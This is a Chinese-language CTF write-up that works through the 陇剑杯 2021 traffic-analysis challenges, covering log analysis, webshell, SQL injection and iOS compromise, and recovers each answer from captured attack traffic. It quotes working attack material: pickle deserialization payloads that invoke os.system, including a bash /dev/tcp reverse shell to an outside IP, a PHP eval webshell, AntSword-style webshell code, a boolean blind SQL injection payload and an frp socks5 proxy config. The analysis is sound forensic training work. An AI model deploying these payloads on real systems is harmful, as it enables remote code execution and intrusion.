0%

陇剑杯 2021

记录陇剑杯的流量分析题

日志分析

Task1

网络存在源码泄漏,源码文件名是什么

web手都知道的www.zip

Task2

分析攻击流量,黑客往/tmp目录写入一个文件,文件名为什么

直接搜索/tmp找到写的文件,url解码一下文件名为sess_car

1
/?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}

Task3

分析攻击流量,黑客使用的是什么类读取了秘密文件。

前一问已经知道利用的是SplFileObject原生类读取文件

简单日志分析

Task1

黑客攻击的参数是什么

打开日志文件看,很明显只有user参数,解码一下发现是pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
I0
p0
0S'whoami'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.

Task2

黑客查看的秘密文件的绝对路径是什么

往后看user参数值解码一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
I0
p0
0S'cat /Th4s_IS_VERY_Import_Fi1e'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.

Task3

黑客反弹shell的ip和端口是什么

先url解码然后再base64解码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
I0
p0
0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.

webshell

Task1

黑客登录系统使用的密码是什么

追踪tcp流,在第六个流找到密码Admin123@#

Task2

黑客修改了一个日志文件,文件的绝对路径为什么

在第26个流找到引用21_08_07.log日志文件并命令执行,则该文件被植入木马

文件的绝对路径为/var/www/html/data/Runtime/Logs/Home/21_08_07.log

Task3

黑客获取webshell之后,权限是是什么

我们利用语法,搜索http请求中包含whoami命令执行的

1
http contains "whoami"

找到24和28流,其中28流的200响应包中找到用户权限为www-data

Task4

黑客写入的webshell文件名是什么

在第33个流找到写入木马的命令,文件名为1.php

Task5

黑客上传的代理工具客户端名字是什么

因为我们知道写马到1.php,我们筛选一下

1
http contains "1.php"

然后一个个看,在第39个流追踪http流,发现代理工具frpc.ini

我们分析一下是如何回显上述列表的,将发包数据解码并美化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
aaa=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "693"."d434";
echo @asenc($output);
echo "a3"."7cb";
}
ob_start();
try {
$D=base64_decode(substr($_POST["j68071301598f"],2));
$F=@opendir($D);
if($F==NULL) {
echo("ERROR:// Path Not Found Or No Permission!");
} else {
$M=NULL;
$L=NULL;
while($N=@readdir($F)) {
$P=$D.$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R=" ".$T." ".@filesize($P)." ".$E."
";
if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
}
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
&j68071301598f=hML3Zhci93d3cvaHRtbC8=

我们重点看下面函数

1
2
3
4
5
6
7
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "693"."d434";
echo @asenc($output);
echo "a3"."7cb";
}

由回显内容可以知道@asenc($output)就是输出的列表,而$output是调用ob_get_contents(),它用于获取当前输出缓冲区的内容并返回。 然后看向try的过程,发现POST参数从第二位开始截取并解码,结果为/var/www/html,那么应该就是读取该路径下的文件。

Task6

黑客代理工具的回连服务端IP是什么

追踪tcp流,在第38个流找到hex加密数据,解码得到ip为192.168.239.123

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

Task7

黑客的socks5的连接账号、密码是什么

前一题得到账号和密码0HDFt16cLQJ#JTN276Gp

SQL注入

Task1

黑客在注入过程中采用的注入手法叫什么

查看日志的payload,很明显的布尔盲注

1
1 and if(substr(database(),1,1) = '.',1,(select table_name from information_schema.tables))

Task2

黑客在注入过程中,最终获取flag的数据库名、表名和字段名是什么

依次查找即可

1
2
3
table_schema='sqli'
table_name='flag'
column='flag'

Task3

黑客最后获取到的flag字符串为什么

把文件内容url解码一下,保存为md文件然后把出现的去掉,因为UTF-8无法识别

然后GPT写个脚本,输出每次注入同一位置的最后一行的对应字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 读取文件内容
with open(r'C:\Users\罗思远\Desktop\流量分析\NSSCTF\SQL注入\out.md', 'r',encoding='UTF-8') as file:
file_content = file.readlines()

# 创建字典存储数字和行索引
index_dict = {}

# 遍历每一行
for index, line in enumerate(file_content):
# 提取数字部分
num = line.split(',')[1].strip()

# 将数字和行索引存储到字典中
if num in index_dict:
index_dict[num].append(index)
else:
index_dict[num] = [index]

# 获取每个数字对应的最后一个行索引
last_indexes = [indexes[-1] for indexes in index_dict.values()]

results = []
for index in last_indexes:
line = file_content[index]
start_quote = line.find("'") + 1
end_quote = line.find("'", start_quote)
content = line[start_quote:end_quote]
results.append(content)

# 拼接结果
result = ''.join(results)

# 输出结果
print(result)

运行结果如下

ios

背景

一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答

Task1

黑客所控制的C&C服务器IP是什么

查看下http流,在第一行也就是第十五个流找到控制ip

Task2

黑客利用的Github开源项目的名字是什么

直接筛选一下

1
http contains "github"

github后面依次是用户和仓库,所以为Stowaway

Task3

通讯加密密钥的明文是什么

由前面知道开源项目地址,访问一下获得信息-s后的为加密密钥

所以明文为hack4sec

Task4

黑客通过SQL盲注拿到了一个敏感数据,内容是什么

查找http流没有收获,结合题目给了私钥文件keylog.txt,那么有部分流量应该是加密过的

编辑 => 首选项找到Protocols(协议),点击TLS并导入keylog文件

成功得到http2流,然后搜索select

再筛选一下目的ip

1
ip.dst == 192.168.1.12 && http2

接着导出文本

利用脚本将需要的sql盲注语句url解码并保存为out.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib.parse

# 读取文件
file_path = r"C:\Users\罗思远\Desktop\流量分析\NSSCTF\ios\test.txt" # 替换为你的文件路径

with open(file_path, "r", encoding='UTF-8') as file:
lines = file.readlines()

target_sentence = "GET /info?l=1" # 替换为你想要匹配的句子

matching_parts = []
for line in lines:
if target_sentence in line:
start_index = line.find(target_sentence)
end_index = line.find("end%29")
if end_index != -1:
part = line[start_index:end_index + len("end%29")].strip()
decoded_part = urllib.parse.unquote(part)
matching_parts.append(decoded_part)

# 将匹配的部分保存到文件
output_file = r"C:\Users\罗思远\Desktop\流量分析\NSSCTF\ios\out.txt" # 输出文件名

with open(output_file, "w", encoding='UTF-8') as file:
for part in matching_parts:
file.write(part + "\n")

然后继续使用脚本读取对应位置的最后一个盲注字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 读取文件内容
with open(r'C:\Users\罗思远\Desktop\流量分析\NSSCTF\ios\out.txt', 'r',encoding='UTF-8') as file:
file_content = file.readlines()

# 创建字典存储数字和行索引
index_dict = {}

# 遍历每一行
for index, line in enumerate(file_content):
# 提取数字部分
num = line.split(',')[1].strip()

# 将数字和行索引存储到字典中
if num in index_dict:
index_dict[num].append(index)
else:
index_dict[num] = [index]

# 获取每个数字对应的最后一个行索引
last_indexes = [indexes[-1] for indexes in index_dict.values()]

results = []
for index in last_indexes:
line = file_content[index]
start_quote = line.find("\"") + 1
end_quote = line.find("\"", start_quote)
content = line[start_quote:end_quote]
results.append(content)

# 拼接结果
result = ''.join(results)

# 输出结果
print(result)

得到十六进制数据,直接cyberchef解码(因为是盲注,出现ZZZ说明前面已经结束了)

image-20240421170940191

Task5

黑客端口扫描的扫描器的扫描范围是什么

分析 => 专家信息找到TCP: Connection reset (RST),端口扫描的特征是RST位

在TCP连接的建立和关闭过程中,数据包中的TCP头部包含了一些标志位,用于指示连接的状态。其中,RST标志位用于重置(Reset)一个TCP连接。

发现端口号是均匀增长,很明显的特征。端口是 10-499

image-20240421172832871

Task6

被害者手机上被拿走了的私钥文件内容是什么

无答案

Task7

黑客访问/攻击了内网的几个服务器,IP地址为什么

注:多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)

我们前面已经导出sql盲注的txt文件,目标ip是192.168.1.12说明在被攻击

其次我们查看log日志文件,发现有对172.28.0.2进行攻击,大概过程为上传木马然后命令执行

image-20240421173553044

所以被攻击的IP有两个172.28.0.2#192.168.1.12

Task8

黑客写入了一个webshell,其密码为什么

注意看上一题是如何命令执行的,由于参数为fxxk所以大概木马语句如下

1
<?php eval($_GET['fxxk']);?>

密码即为fxxk